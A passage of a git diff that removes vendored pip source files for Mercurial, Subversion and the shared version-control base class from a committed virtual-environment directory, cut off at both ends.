-        """In either https or ssh form, requirements must be prefixed with git+."""
-        return True
-
-
-vcs.register(Git)
diff --git a/venv/Lib/site-packages/pip/_internal/vcs/mercurial.py b/venv/Lib/site-packages/pip/_internal/vcs/mercurial.py
deleted file mode 100644
index c875803164ee5fe220be7ab4486ef1c66427cebd..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/vcs/mercurial.py
+++ /dev/null
@@ -1,186 +0,0 @@
-from __future__ import annotations
-
-import configparser
-import logging
-import os
-
-from pip._internal.exceptions import BadCommand, InstallationError
-from pip._internal.utils.misc import HiddenText, display_path
-from pip._internal.utils.subprocess import make_command
-from pip._internal.utils.urls import path_to_url
-from pip._internal.vcs.versioncontrol import (
-    RevOptions,
-    VersionControl,
-    find_path_to_project_root_from_repo_root,
-    vcs,
-)
-
-logger = logging.getLogger(__name__)
-
-
-class Mercurial(VersionControl):
-    name = "hg"
-    dirname = ".hg"
-    repo_name = "clone"
-    schemes = (
-        "hg+file",
-        "hg+http",
-        "hg+https",
-        "hg+ssh",
-        "hg+static-http",
-    )
-
-    @staticmethod
-    def get_base_rev_args(rev: str) -> list[str]:
-        return [f"--rev={rev}"]
-
-    def fetch_new(
-        self, dest: str, url: HiddenText, rev_options: RevOptions, verbosity: int
-    ) -> None:
-        rev_display = rev_options.to_display()
-        logger.info(
-            "Cloning hg %s%s to %s",
-            url,
-            rev_display,
-            display_path(dest),
-        )
-        if verbosity <= 0:
-            flags: tuple[str, ...] = ("--quiet",)
-        elif verbosity == 1:
-            flags = ()
-        elif verbosity == 2:
-            flags = ("--verbose",)
-        else:
-            flags = ("--verbose", "--debug")
-        self.run_command(make_command("clone", "--noupdate", *flags, url, dest))
-        self.run_command(
-            make_command("update", *flags, rev_options.to_args()),
-            cwd=dest,
-        )
-
-    def switch(
-        self,
-        dest: str,
-        url: HiddenText,
-        rev_options: RevOptions,
-        verbosity: int = 0,
-    ) -> None:
-        extra_flags = []
-        repo_config = os.path.join(dest, self.dirname, "hgrc")
-        config = configparser.RawConfigParser()
-
-        if verbosity <= 0:
-            extra_flags.append("-q")
-
-        try:
-            config.read(repo_config)
-            config.set("paths", "default", url.secret)
-            with open(repo_config, "w") as config_file:
-                config.write(config_file)
-        except (OSError, configparser.NoSectionError) as exc:
-            logger.warning("Could not switch Mercurial repository to %s: %s", url, exc)
-        else:
-            cmd_args = make_command("update", *extra_flags, rev_options.to_args())
-            self.run_command(cmd_args, cwd=dest)
-
-    def update(
-        self,
-        dest: str,
-        url: HiddenText,
-        rev_options: RevOptions,
-        verbosity: int = 0,
-    ) -> None:
-        extra_flags = []
-
-        if verbosity <= 0:
-            extra_flags.append("-q")
-
-        self.run_command(["pull", *extra_flags], cwd=dest)
-        cmd_args = make_command("update", *extra_flags, rev_options.to_args())
-        self.run_command(cmd_args, cwd=dest)
-
-    @classmethod
-    def get_remote_url(cls, location: str) -> str:
-        url = cls.run_command(
-            ["showconfig", "paths.default"],
-            show_stdout=False,
-            stdout_only=True,
-            cwd=location,
-        ).strip()
-        if cls._is_local_repository(url):
-            url = path_to_url(url)
-        return url.strip()
-
-    @classmethod
-    def get_revision(cls, location: str) -> str:
-        """
-        Return the repository-local changeset revision number, as an integer.
-        """
-        current_revision = cls.run_command(
-            ["parents", "--template={rev}"],
-            show_stdout=False,
-            stdout_only=True,
-            cwd=location,
-        ).strip()
-        return current_revision
-
-    @classmethod
-    def get_requirement_revision(cls, location: str) -> str:
-        """
-        Return the changeset identification hash, as a 40-character
-        hexadecimal string
-        """
-        current_rev_hash = cls.run_command(
-            ["parents", "--template={node}"],
-            show_stdout=False,
-            stdout_only=True,
-            cwd=location,
-        ).strip()
-        return current_rev_hash
-
-    @classmethod
-    def is_commit_id_equal(cls, dest: str, name: str | None) -> bool:
-        """Always assume the versions don't match"""
-        return False
-
-    @classmethod
-    def get_subdirectory(cls, location: str) -> str | None:
-        """
-        Return the path to Python project root, relative to the repo root.
-        Return None if the project root is in the repo root.
-        """
-        # find the repo root
-        repo_root = cls.run_command(
-            ["root"], show_stdout=False, stdout_only=True, cwd=location
-        ).strip()
-        if not os.path.isabs(repo_root):
-            repo_root = os.path.abspath(os.path.join(location, repo_root))
-        return find_path_to_project_root_from_repo_root(location, repo_root)
-
-    @classmethod
-    def get_repository_root(cls, location: str) -> str | None:
-        loc = super().get_repository_root(location)
-        if loc:
-            return loc
-        try:
-            r = cls.run_command(
-                ["root"],
-                cwd=location,
-                show_stdout=False,
-                stdout_only=True,
-                on_returncode="raise",
-                log_failed_cmd=False,
-            )
-        except BadCommand:
-            logger.debug(
-                "could not determine if %s is under hg control "
-                "because hg is not available",
-                location,
-            )
-            return None
-        except InstallationError:
-            return None
-        return os.path.normpath(r.rstrip("\r\n"))
-
-
-vcs.register(Mercurial)
diff --git a/venv/Lib/site-packages/pip/_internal/vcs/subversion.py b/venv/Lib/site-packages/pip/_internal/vcs/subversion.py
deleted file mode 100644
index 579f428c8ca63a99949f659ceb664dda4b881f32..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/vcs/subversion.py
+++ /dev/null
@@ -1,335 +0,0 @@
-from __future__ import annotations
-
-import logging
-import os
-import re
-
-from pip._internal.utils.misc import (
-    HiddenText,
-    display_path,
-    is_console_interactive,
-    is_installable_dir,
-    split_auth_from_netloc,
-)
-from pip._internal.utils.subprocess import CommandArgs, make_command
-from pip._internal.vcs.versioncontrol import (
-    AuthInfo,
-    RemoteNotFoundError,
-    RevOptions,
-    VersionControl,
-    vcs,
-)
-
-logger = logging.getLogger(__name__)
-
-_svn_xml_url_re = re.compile('url="([^"]+)"')
-_svn_rev_re = re.compile(r'committed-rev="(\d+)"')
-_svn_info_xml_rev_re = re.compile(r'\s*revision="(\d+)"')
-_svn_info_xml_url_re = re.compile(r"(.*)")
-
-
-class Subversion(VersionControl):
-    name = "svn"
-    dirname = ".svn"
-    repo_name = "checkout"
-    schemes = ("svn+ssh", "svn+http", "svn+https", "svn+svn", "svn+file")
-
-    @classmethod
-    def should_add_vcs_url_prefix(cls, remote_url: str) -> bool:
-        return True
-
-    @staticmethod
-    def get_base_rev_args(rev: str) -> list[str]:
-        return ["-r", rev]
-
-    @classmethod
-    def get_revision(cls, location: str) -> str:
-        """
-        Return the maximum revision for all files under a given location
-        """
-        # Note: taken from setuptools.command.egg_info
-        revision = 0
-
-        for base, dirs, _ in os.walk(location):
-            if cls.dirname not in dirs:
-                dirs[:] = []
-                continue  # no sense walking uncontrolled subdirs
-            dirs.remove(cls.dirname)
-            entries_fn = os.path.join(base, cls.dirname, "entries")
-            if not os.path.exists(entries_fn):
-                # FIXME: should we warn?
-                continue
-
-            dirurl, localrev = cls._get_svn_url_rev(base)
-
-            if base == location:
-                assert dirurl is not None
-                base = dirurl + "/"  # save the root url
-            elif not dirurl or not dirurl.startswith(base):
-                dirs[:] = []
-                continue  # not part of the same svn tree, skip it
-            revision = max(revision, localrev)
-        return str(revision)
-
-    @classmethod
-    def get_netloc_and_auth(
-        cls, netloc: str, scheme: str
-    ) -> tuple[str, tuple[str | None, str | None]]:
-        """
-        This override allows the auth information to be passed to svn via the
-        --username and --password options instead of via the URL.
-        """
-        if scheme == "ssh":
-            # The --username and --password options can't be used for
-            # svn+ssh URLs, so keep the auth information in the URL.
-            return super().get_netloc_and_auth(netloc, scheme)
-
-        return split_auth_from_netloc(netloc)
-
-    @classmethod
-    def get_url_rev_and_auth(cls, url: str) -> tuple[str, str | None, AuthInfo]:
-        # hotfix the URL scheme after removing svn+ from svn+ssh:// re-add it
-        url, rev, user_pass = super().get_url_rev_and_auth(url)
-        if url.startswith("ssh://"):
-            url = "svn+" + url
-        return url, rev, user_pass
-
-    @staticmethod
-    def make_rev_args(username: str | None, password: HiddenText | None) -> CommandArgs:
-        extra_args: CommandArgs = []
-        if username:
-            extra_args += ["--username", username]
-        if password:
-            extra_args += ["--password", password]
-
-        return extra_args
-
-    @classmethod
-    def get_remote_url(cls, location: str) -> str:
-        # In cases where the source is in a subdirectory, we have to look up in
-        # the location until we find a valid project root.
-        orig_location = location
-        while not is_installable_dir(location):
-            last_location = location
-            location = os.path.dirname(location)
-            if location == last_location:
-                # We've traversed up to the root of the filesystem without
-                # finding a Python project.
-                logger.warning(
-                    "Could not find Python project for directory %s (tried all "
-                    "parent directories)",
-                    orig_location,
-                )
-                raise RemoteNotFoundError
-
-        url, _rev = cls._get_svn_url_rev(location)
-        if url is None:
-            raise RemoteNotFoundError
-
-        return url
-
-    @classmethod
-    def _get_svn_url_rev(cls, location: str) -> tuple[str | None, int]:
-        from pip._internal.exceptions import InstallationError
-
-        entries_path = os.path.join(location, cls.dirname, "entries")
-        if os.path.exists(entries_path):
-            with open(entries_path) as f:
-                data = f.read()
-        else:  # subversion >= 1.7 does not have the 'entries' file
-            data = ""
-
-        url = None
-        if data.startswith(("8", "9", "10")):
-            entries = list(map(str.splitlines, data.split("\n\x0c\n")))
-            del entries[0][0]  # get rid of the '8'
-            url = entries[0][3]
-            revs = [int(d[9]) for d in entries if len(d) > 9 and d[9]] + [0]
-        elif data.startswith("= 1.7
-                # Note that using get_remote_call_options is not necessary here
-                # because `svn info` is being run against a local directory.
-                # We don't need to worry about making sure interactive mode
-                # is being used to prompt for passwords, because passwords
-                # are only potentially needed for remote server requests.
-                xml = cls.run_command(
-                    ["info", "--xml", location],
-                    show_stdout=False,
-                    stdout_only=True,
-                )
-                match = _svn_info_xml_url_re.search(xml)
-                assert match is not None
-                url = match.group(1)
-                revs = [int(m.group(1)) for m in _svn_info_xml_rev_re.finditer(xml)]
-            except InstallationError:
-                url, revs = None, []
-
-        if revs:
-            rev = max(revs)
-        else:
-            rev = 0
-
-        return url, rev
-
-    @classmethod
-    def is_commit_id_equal(cls, dest: str, name: str | None) -> bool:
-        """Always assume the versions don't match"""
-        return False
-
-    def __init__(self, use_interactive: bool | None = None) -> None:
-        if use_interactive is None:
-            use_interactive = is_console_interactive()
-        self.use_interactive = use_interactive
-
-        # This member is used to cache the fetched version of the current
-        # ``svn`` client.
-        # Special value definitions:
-        #   None: Not evaluated yet.
-        #   Empty tuple: Could not parse version.
-        self._vcs_version: tuple[int, ...] | None = None
-
-        super().__init__()
-
-    def call_vcs_version(self) -> tuple[int, ...]:
-        """Query the version of the currently installed Subversion client.
-
-        :return: A tuple containing the parts of the version information or
-            ``()`` if the version returned from ``svn`` could not be parsed.
-        :raises: BadCommand: If ``svn`` is not installed.
-        """
-        # Example versions:
-        #   svn, version 1.10.3 (r1842928)
-        #      compiled Feb 25 2019, 14:20:39 on x86_64-apple-darwin17.0.0
-        #   svn, version 1.7.14 (r1542130)
-        #      compiled Mar 28 2018, 08:49:13 on x86_64-pc-linux-gnu
-        #   svn, version 1.12.0-SlikSvn (SlikSvn/1.12.0)
-        #      compiled May 28 2019, 13:44:56 on x86_64-microsoft-windows6.2
-        version_prefix = "svn, version "
-        version = self.run_command(["--version"], show_stdout=False, stdout_only=True)
-        if not version.startswith(version_prefix):
-            return ()
-
-        version = version[len(version_prefix) :].split()[0]
-        version_list = version.partition("-")[0].split(".")
-        try:
-            parsed_version = tuple(map(int, version_list))
-        except ValueError:
-            return ()
-
-        return parsed_version
-
-    def get_vcs_version(self) -> tuple[int, ...]:
-        """Return the version of the currently installed Subversion client.
-
-        If the version of the Subversion client has already been queried,
-        a cached value will be used.
-
-        :return: A tuple containing the parts of the version information or
-            ``()`` if the version returned from ``svn`` could not be parsed.
-        :raises: BadCommand: If ``svn`` is not installed.
-        """
-        if self._vcs_version is not None:
-            # Use cached version, if available.
-            # If parsing the version failed previously (empty tuple),
-            # do not attempt to parse it again.
-            return self._vcs_version
-
-        vcs_version = self.call_vcs_version()
-        self._vcs_version = vcs_version
-        return vcs_version
-
-    def get_remote_call_options(self) -> CommandArgs:
-        """Return options to be used on calls to Subversion that contact the server.
-
-        These options are applicable for the following ``svn`` subcommands used
-        in this class.
-
-            - checkout
-            - switch
-            - update
-
-        :return: A list of command line arguments to pass to ``svn``.
-        """
-        if not self.use_interactive:
-            # --non-interactive switch is available since Subversion 0.14.4.
-            # Subversion < 1.8 runs in interactive mode by default.
-            return ["--non-interactive"]
-
-        svn_version = self.get_vcs_version()
-        # By default, Subversion >= 1.8 runs in non-interactive mode if
-        # stdin is not a TTY. Since that is how pip invokes SVN, in
-        # call_subprocess(), pip must pass --force-interactive to ensure
-        # the user can be prompted for a password, if required.
-        #   SVN added the --force-interactive option in SVN 1.8. Since
-        # e.g. RHEL/CentOS 7, which is supported until 2024, ships with
-        # SVN 1.7, pip should continue to support SVN 1.7. Therefore, pip
-        # can't safely add the option if the SVN version is < 1.8 (or unknown).
-        if svn_version >= (1, 8):
-            return ["--force-interactive"]
-
-        return []
-
-    def fetch_new(
-        self, dest: str, url: HiddenText, rev_options: RevOptions, verbosity: int
-    ) -> None:
-        rev_display = rev_options.to_display()
-        logger.info(
-            "Checking out %s%s to %s",
-            url,
-            rev_display,
-            display_path(dest),
-        )
-        if verbosity <= 0:
-            flags = ["--quiet"]
-        else:
-            flags = []
-        cmd_args = make_command(
-            "checkout",
-            *flags,
-            self.get_remote_call_options(),
-            rev_options.to_args(),
-            url,
-            dest,
-        )
-        self.run_command(cmd_args)
-
-    def switch(
-        self,
-        dest: str,
-        url: HiddenText,
-        rev_options: RevOptions,
-        verbosity: int = 0,
-    ) -> None:
-        cmd_args = make_command(
-            "switch",
-            self.get_remote_call_options(),
-            rev_options.to_args(),
-            url,
-            dest,
-        )
-        self.run_command(cmd_args)
-
-    def update(
-        self,
-        dest: str,
-        url: HiddenText,
-        rev_options: RevOptions,
-        verbosity: int = 0,
-    ) -> None:
-        cmd_args = make_command(
-            "update",
-            self.get_remote_call_options(),
-            rev_options.to_args(),
-            dest,
-        )
-        self.run_command(cmd_args)
-
-
-vcs.register(Subversion)
diff --git a/venv/Lib/site-packages/pip/_internal/vcs/versioncontrol.py b/venv/Lib/site-packages/pip/_internal/vcs/versioncontrol.py
deleted file mode 100644
index 33c6b7f3f06d14199a20de59787faa34da0a27dd..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/vcs/versioncontrol.py
+++ /dev/null
@@ -1,694 +0,0 @@
-"""Handles all VCS (version control) support"""
-
-from __future__ import annotations
-
-import logging
-import os
-import shutil
-import sys
-import urllib.parse
-from collections.abc import Iterable, Iterator, Mapping
-from dataclasses import dataclass, field
-from typing import (
-    Any,
-    Literal,
-)
-
-from pip._internal.cli.spinners import SpinnerInterface
-from pip._internal.exceptions import BadCommand, InstallationError
-from pip._internal.utils.misc import (
-    HiddenText,
-    ask_path_exists,
-    backup_dir,
-    display_path,
-    hide_url,
-    hide_value,
-    is_installable_dir,
-    rmtree,
-)
-from pip._internal.utils.subprocess import (
-    CommandArgs,
-    call_subprocess,
-    format_command_args,
-    make_command,
-)
-
-__all__ = ["vcs"]
-
-
-logger = logging.getLogger(__name__)
-
-AuthInfo = tuple[str | None, str | None]
-
-
-def is_url(name: str) -> bool:
-    """
-    Return true if the name looks like a URL.
-    """
-    scheme = urllib.parse.urlsplit(name).scheme
-    if not scheme:
-        return False
-    return scheme in ["http", "https", "file", "ftp"] + vcs.all_schemes
-
-
-def make_vcs_requirement_url(
-    repo_url: str, rev: str, project_name: str, subdir: str | None = None
-) -> str:
-    """
-    Return the URL for a VCS requirement.
-
-    Args:
-      repo_url: the remote VCS url, with any needed VCS prefix (e.g. "git+").
-      project_name: the (unescaped) project name.
-    """
-    quoted_rev = urllib.parse.quote(rev, "/")
-    egg_project_name = project_name.replace("-", "_")
-    req = f"{repo_url}@{quoted_rev}#egg={egg_project_name}"
-    if subdir:
-        req += f"&subdirectory={subdir}"
-
-    return req
-
-
-def find_path_to_project_root_from_repo_root(
-    location: str, repo_root: str
-) -> str | None:
-    """
-    Find the the Python project's root by searching up the filesystem from
-    `location`. Return the path to project root relative to `repo_root`.
-    Return None if the project root is `repo_root`, or cannot be found.
-    """
-    # find project root.
-    orig_location = location
-    while not is_installable_dir(location):
-        last_location = location
-        location = os.path.dirname(location)
-        if location == last_location:
-            # We've traversed up to the root of the filesystem without
-            # finding a Python project.
-            logger.warning(
-                "Could not find a Python project for directory %s (tried all "
-                "parent directories)",
-                orig_location,
-            )
-            return None
-
-    if os.path.samefile(repo_root, location):
-        return None
-
-    return os.path.relpath(location, repo_root)
-
-
-class RemoteNotFoundError(Exception):
-    pass
-
-
-class RemoteNotValidError(Exception):
-    def __init__(self, url: str):
-        super().__init__(url)
-        self.url = url
-
-
-@dataclass(frozen=True)
-class RevOptions:
-    """
-    Encapsulates a VCS-specific revision to install, along with any VCS
-    install options.
-
-    Args:
-        vc_class: a VersionControl subclass.
-        rev: the name of the revision to install.
-        extra_args: a list of extra options.
-    """
-
-    vc_class: type[VersionControl]
-    rev: str | None = None
-    extra_args: CommandArgs = field(default_factory=list)
-    branch_name: str | None = None
-
-    def __repr__(self) -> str:
-        return f""
-
-    @property
-    def arg_rev(self) -> str | None:
-        if self.rev is None:
-            return self.vc_class.default_arg_rev
-
-        return self.rev
-
-    def to_args(self) -> CommandArgs:
-        """
-        Return the VCS-specific command arguments.
-        """
-        args: CommandArgs = []
-        rev = self.arg_rev
-        if rev is not None:
-            args += self.vc_class.get_base_rev_args(rev)
-        args += self.extra_args
-
-        return args
-
-    def to_display(self) -> str:
-        if not self.rev:
-            return ""
-
-        return f" (to revision {self.rev})"
-
-    def make_new(self, rev: str) -> RevOptions:
-        """
-        Make a copy of the current instance, but with a new rev.
-
-        Args:
-          rev: the name of the revision for the new object.
-        """
-        return self.vc_class.make_rev_options(rev, extra_args=self.extra_args)
-
-
-class VcsSupport:
-    _registry: dict[str, VersionControl] = {}
-    schemes = ["ssh", "git", "hg", "bzr", "sftp", "svn"]
-
-    def __init__(self) -> None:
-        # Register more schemes with urlparse for various version control
-        # systems
-        urllib.parse.uses_netloc.extend(self.schemes)
-        super().__init__()
-
-    def __iter__(self) -> Iterator[str]:
-        return self._registry.__iter__()
-
-    @property
-    def backends(self) -> list[VersionControl]:
-        return list(self._registry.values())
-
-    @property
-    def dirnames(self) -> list[str]:
-        return [backend.dirname for backend in self.backends]
-
-    @property
-    def all_schemes(self) -> list[str]:
-        schemes: list[str] = []
-        for backend in self.backends:
-            schemes.extend(backend.schemes)
-        return schemes
-
-    def register(self, cls: type[VersionControl]) -> None:
-        if not hasattr(cls, "name"):
-            logger.warning("Cannot register VCS %s", cls.__name__)
-            return
-        if cls.name not in self._registry:
-            self._registry[cls.name] = cls()
-            logger.debug("Registered VCS backend: %s", cls.name)
-
-    def unregister(self, name: str) -> None:
-        if name in self._registry:
-            del self._registry[name]
-
-    def get_backend_for_dir(self, location: str) -> VersionControl | None:
-        """
-        Return a VersionControl object if a repository of that type is found
-        at the given directory.
-        """
-        vcs_backends = {}
-        for vcs_backend in self._registry.values():
-            repo_path = vcs_backend.get_repository_root(location)
-            if not repo_path:
-                continue
-            logger.debug("Determine that %s uses VCS: %s", location, vcs_backend.name)
-            vcs_backends[repo_path] = vcs_backend
-
-        if not vcs_backends:
-            return None
-
-        # Choose the VCS in the inner-most directory. Since all repository
-        # roots found here would be either `location` or one of its
-        # parents, the longest path should have the most path components,
-        # i.e. the backend representing the inner-most repository.
-        inner_most_repo_path = max(vcs_backends, key=len)
-        return vcs_backends[inner_most_repo_path]
-
-    def get_backend_for_scheme(self, scheme: str) -> VersionControl | None:
-        """
-        Return a VersionControl object or None.
-        """
-        for vcs_backend in self._registry.values():
-            if scheme in vcs_backend.schemes:
-                return vcs_backend
-        return None
-
-    def get_backend(self, name: str) -> VersionControl | None:
-        """
-        Return a VersionControl object or None.
-        """
-        name = name.lower()
-        return self._registry.get(name)
-
-
-vcs = VcsSupport()
-
-
-class VersionControl:
-    name = ""
-    dirname = ""
-    repo_name = ""
-    # List of supported schemes for this Version Control
-    schemes: tuple[str, ...] = ()
-    # Iterable of environment variable names to pass to call_subprocess().
-    unset_environ: tuple[str, ...] = ()
-    default_arg_rev: str | None = None
-
-    @classmethod
-    def should_add_vcs_url_prefix(cls, remote_url: str) -> bool:
-        """
-        Return whether the vcs prefix (e.g. "git+") should be added to a
-        repository's remote url when used in a requirement.
-        """
-        return not remote_url.lower().startswith(f"{cls.name}:")
-
-    @classmethod
-    def get_subdirectory(cls, location: str) -> str | None:
-        """
-        Return the path to Python project root, relative to the repo root.
-        Return None if the project root is in the repo root.
-        """
-        return None
-
-    @classmethod
-    def get_requirement_revision(cls, repo_dir: str) -> str:
-        """
-        Return the revision string that should be used in a requirement.
-        """
-        return cls.get_revision(repo_dir)
-
-    @classmethod
-    def get_src_requirement(cls, repo_dir: str, project_name: str) -> str:
-        """
-        Return the requirement string to use to redownload the files
-        currently at the given repository directory.
-
-        Args:
-          project_name: the (unescaped) project name.
-
-        The return value has a form similar to the following:
-
-            {repository_url}@{revision}#egg={project_name}
-        """
-        repo_url = cls.get_remote_url(repo_dir)
-
-        if cls.should_add_vcs_url_prefix(repo_url):
-            repo_url = f"{cls.name}+{repo_url}"
-
-        revision = cls.get_requirement_revision(repo_dir)
-        subdir = cls.get_subdirectory(repo_dir)
-        req = make_vcs_requirement_url(repo_url, revision, project_name, subdir=subdir)
-
-        return req
-
-    @staticmethod
-    def get_base_rev_args(rev: str) -> list[str]:
-        """
-        Return the base revision arguments for a vcs command.
-
-        Args:
-          rev: the name of a revision to install.  Cannot be None.
-        """
-        raise NotImplementedError
-
-    def is_immutable_rev_checkout(self, url: str, dest: str) -> bool:
-        """
-        Return true if the commit hash checked out at dest matches
-        the revision in url.
-
-        Always return False, if the VCS does not support immutable commit
-        hashes.
-
-        This method does not check if there are local uncommitted changes
-        in dest after checkout, as pip currently has no use case for that.
-        """
-        return False
-
-    @classmethod
-    def make_rev_options(
-        cls, rev: str | None = None, extra_args: CommandArgs | None = None
-    ) -> RevOptions:
-        """
-        Return a RevOptions object.
-
-        Args:
-          rev: the name of a revision to install.
-          extra_args: a list of extra options.
-        """
-        return RevOptions(cls, rev, extra_args=extra_args or [])
-
-    @classmethod
-    def _is_local_repository(cls, repo: str) -> bool:
-        """
-        posix absolute paths start with os.path.sep,
-        win32 ones start with drive (like c:\\folder)
-        """
-        drive, tail = os.path.splitdrive(repo)
-        return repo.startswith(os.path.sep) or bool(drive)
-
-    @classmethod
-    def get_netloc_and_auth(
-        cls, netloc: str, scheme: str
-    ) -> tuple[str, tuple[str | None, str | None]]:
-        """
-        Parse the repository URL's netloc, and return the new netloc to use
-        along with auth information.
-
-        Args:
-          netloc: the original repository URL netloc.
-          scheme: the repository URL's scheme without the vcs prefix.
-
-        This is mainly for the Subversion class to override, so that auth
-        information can be provided via the --username and --password options
-        instead of through the URL.  For other subclasses like Git without
-        such an option, auth information must stay in the URL.
-
-        Returns: (netloc, (username, password)).
-        """
-        return netloc, (None, None)
-
-    @classmethod
-    def get_url_rev_and_auth(cls, url: str) -> tuple[str, str | None, AuthInfo]:
-        """
-        Parse the repository URL to use, and return the URL, revision,
-        and auth info to use.
-
-        Returns: (url, rev, (username, password)).
-        """
-        scheme, netloc, path, query, frag = urllib.parse.urlsplit(url)
-        if "+" not in scheme:
-            raise ValueError(
-                f"Sorry, {url!r} is a malformed VCS url. "
-                "The format is +://, "
-                "e.g. svn+http://myrepo/svn/MyApp#egg=MyApp"
-            )
-        # Remove the vcs prefix.
-        scheme = scheme.split("+", 1)[1]
-        netloc, user_pass = cls.get_netloc_and_auth(netloc, scheme)
-        rev = None
-        if "@" in path:
-            path, rev = path.rsplit("@", 1)
-            if not rev:
-                raise InstallationError(
-                    f"The URL {url!r} has an empty revision (after @) "
-                    "which is not supported. Include a revision after @ "
-                    "or remove @ from the URL."
-                )
-            rev = urllib.parse.unquote(rev)
-        url = urllib.parse.urlunsplit((scheme, netloc, path, query, ""))
-        return url, rev, user_pass
-
-    @staticmethod
-    def make_rev_args(username: str | None, password: HiddenText | None) -> CommandArgs:
-        """
-        Return the RevOptions "extra arguments" to use in obtain().
-        """
-        return []
-
-    def get_url_rev_options(self, url: HiddenText) -> tuple[HiddenText, RevOptions]:
-        """
-        Return the URL and RevOptions object to use in obtain(),
-        as a tuple (url, rev_options).
-        """
-        secret_url, rev, user_pass = self.get_url_rev_and_auth(url.secret)
-        username, secret_password = user_pass
-        password: HiddenText | None = None
-        if secret_password is not None:
-            password = hide_value(secret_password)
-        extra_args = self.make_rev_args(username, password)
-        rev_options = self.make_rev_options(rev, extra_args=extra_args)
-
-        return hide_url(secret_url), rev_options
-
-    @staticmethod
-    def normalize_url(url: str) -> str:
-        """
-        Normalize a URL for comparison by unquoting it and removing any
-        trailing slash.
-        """
-        return urllib.parse.unquote(url).rstrip("/")
-
-    @classmethod
-    def compare_urls(cls, url1: str, url2: str) -> bool:
-        """
-        Compare two repo URLs for identity, ignoring incidental differences.
-        """
-        return cls.normalize_url(url1) == cls.normalize_url(url2)
-
-    def fetch_new(
-        self, dest: str, url: HiddenText, rev_options: RevOptions, verbosity: int
-    ) -> None:
-        """
-        Fetch a revision from a repository, in the case that this is the
-        first fetch from the repository.
-
-        Args:
-          dest: the directory to fetch the repository to.
-          rev_options: a RevOptions object.
-          verbosity: verbosity level.
-        """
-        raise NotImplementedError
-
-    def switch(
-        self,
-        dest: str,
-        url: HiddenText,
-        rev_options: RevOptions,
-        verbosity: int = 0,
-    ) -> None:
-        """
-        Switch the repo at ``dest`` to point to ``URL``.
-
-        Args:
-          rev_options: a RevOptions object.
-        """
-        raise NotImplementedError
-
-    def update(
-        self,
-        dest: str,
-        url: HiddenText,
-        rev_options: RevOptions,
-        verbosity: int = 0,
-    ) -> None:
-        """
-        Update an already-existing repo to the given ``rev_options``.
-
-        Args:
-          rev_options: a RevOptions object.
-        """
-        raise NotImplementedError
-
-    @classmethod
-    def is_commit_id_equal(cls, dest: str, name: str | None) -> bool:
-        """
-        Return whether the id of the current commit equals the given name.
-
-        Args:
-          dest: the repository directory.
-          name: a string name.
-        """
-        raise NotImplementedError
-
-    def obtain(self, dest: str, url: HiddenText, verbosity: int) -> None:
-        """
-        Install or update in editable mode the package represented by this
-        VersionControl object.
-
-        :param dest: the repository directory in which to install or update.
-        :param url: the repository URL starting with a vcs prefix.
-        :param verbosity: verbosity level.
-        """
-        url, rev_options = self.get_url_rev_options(url)
-
-        if not os.path.exists(dest):
-            self.fetch_new(dest, url, rev_options, verbosity=verbosity)
-            return
-
-        rev_display = rev_options.to_display()
-        if self.is_repository_directory(dest):
-            existing_url = self.get_remote_url(dest)
-            if self.compare_urls(existing_url, url.secret):
-                logger.debug(
-                    "%s in %s exists, and has correct URL (%s)",
-                    self.repo_name.title(),
-                    display_path(dest),
-                    url,
-                )
-                if not self.is_commit_id_equal(dest, rev_options.rev):
-                    logger.info(
-                        "Updating %s %s%s",
-                        display_path(dest),
-                        self.repo_name,
-                        rev_display,
-                    )
-                    self.update(dest, url, rev_options, verbosity=verbosity)
-                else:
-                    logger.info("Skipping because already up-to-date.")
-                return
-
-            logger.warning(
-                "%s %s in %s exists with URL %s",
-                self.name,
-                self.repo_name,
-                display_path(dest),
-                existing_url,
-            )
-            prompt = ("(s)witch, (i)gnore, (w)ipe, (b)ackup ", ("s", "i", "w", "b"))
-        else:
-            logger.warning(
-                "Directory %s already exists, and is not a %s %s.",
-                dest,
-                self.name,
-                self.repo_name,
-            )
-            # https://github.com/python/mypy/issues/1174
-            prompt = ("(i)gnore, (w)ipe, (b)ackup ", ("i", "w", "b"))  # type: ignore
-
-        logger.warning(
-            "The plan is to install the %s repository %s",
-            self.name,
-            url,
-        )
-        response = ask_path_exists(f"What to do?  {prompt[0]}", prompt[1])
-
-        if response == "a":
-            sys.exit(-1)
-
-        if response == "w":
-            logger.warning("Deleting %s", display_path(dest))
-            rmtree(dest)
-            self.fetch_new(dest, url, rev_options, verbosity=verbosity)
-            return
-
-        if response == "b":
-            dest_dir = backup_dir(dest)
-            logger.warning("Backing up %s to %s", display_path(dest), dest_dir)
-            shutil.move(dest, dest_dir)
-            self.fetch_new(dest, url, rev_options, verbosity=verbosity)
-            return
-
-        # Do nothing if the response is "i".
-        if response == "s":
-            logger.info(
-                "Switching %s %s to %s%s",
-                self.repo_name,
-                display_path(dest),
-                url,
-                rev_display,
-            )
-            self.switch(dest, url, rev_options, verbosity=verbosity)
-
-    def unpack(self, location: str, url: HiddenText, verbosity: int) -> None:
-        """
-        Clean up current location and download the url repository
-        (and vcs infos) into location
-
-        :param url: the repository URL starting with a vcs prefix.
-        :param verbosity: verbosity level.
-        """
-        if os.path.exists(location):
-            rmtree(location)
-        self.obtain(location, url=url, verbosity=verbosity)
-
-    @classmethod
-    def get_remote_url(cls, location: str) -> str:
-        """
-        Return the url used at location
-
-        Raises RemoteNotFoundError if the repository does not have a remote
-        url configured.
-        """
-        raise NotImplementedError
-
-    @classmethod
-    def get_revision(cls, location: str) -> str:
-        """
-        Return the current commit id of the files at the given location.
-        """
-        raise NotImplementedError
-
-    @classmethod
-    def run_command(
-        cls,
-        cmd: list[str] | CommandArgs,
-        show_stdout: bool = True,
-        cwd: str | None = None,
-        on_returncode: Literal["raise", "warn", "ignore"] = "raise",
-        extra_ok_returncodes: Iterable[int] | None = None,
-        command_desc: str | None = None,
-        extra_environ: Mapping[str, Any] | None = None,
-        spinner: SpinnerInterface | None = None,
-        log_failed_cmd: bool = True,
-        stdout_only: bool = False,
-    ) -> str:
-        """
-        Run a VCS subcommand
-        This is simply a wrapper around call_subprocess that adds the VCS
-        command name, and checks that the VCS is available
-        """
-        cmd = make_command(cls.name, *cmd)
-        if command_desc is None:
-            command_desc = format_command_args(cmd)
-        try:
-            return call_subprocess(
-                cmd,
-                show_stdout,
-                cwd,
-                on_returncode=on_returncode,
